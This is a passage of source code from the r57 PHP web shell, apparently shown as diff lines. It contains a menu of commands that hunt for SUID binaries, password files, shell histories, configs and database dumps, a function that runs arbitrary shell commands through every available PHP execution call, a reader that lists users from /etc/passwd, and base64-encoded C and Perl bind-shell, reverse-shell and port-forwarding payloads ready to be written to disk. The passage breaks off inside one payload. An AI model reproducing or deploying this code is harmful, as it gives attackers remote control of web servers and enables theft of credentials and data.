/tmp/grep.txt;cat /tmp/grep.txt', +'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt', +'----------------------------------tar'=>'', +'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt', +'----------------------------------1'=>'', +'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt', +'----------------------------------2'=>'', +'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt', +'----------------------------------find'=>'', +'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt', +'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt', +'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt', +'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt', +'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt', +'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt', +'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt', +'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt', +'-----------------------------------'=>'', +'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; } +if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = @php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } + +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(@function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(@function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(@function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fread($f,1024); } + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fgets($f,1024); } + } + @pclose($f); + } + elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);} + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);} + } + @proc_close($f); + } + elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork')) + { + $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; + $pid = @pcntl_fork(); + if ($pid == -1) { + $res .= '[-] Could not children fork. Exit'; + } else if ($pid) { + if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} + else {$res .= '[-] Error. Command incorrect.';} + } else { + $cfe = array(" -e 'system(\"$cfe\")'"); + if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); + if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); + die(); + } + } + } + return $res; +} +function get_users($filename) +{ + $users = array(); + $rows=@explode("\n",readzlib($filename)); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",trim($string)); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ''; +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return false; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0); + if($w_file) + { + @fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir)) || (@function_exists('scandir'))) + { + while ((false !== ($file = @readdir($handle))) && (false !== ($file = @scandir($dir)))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c 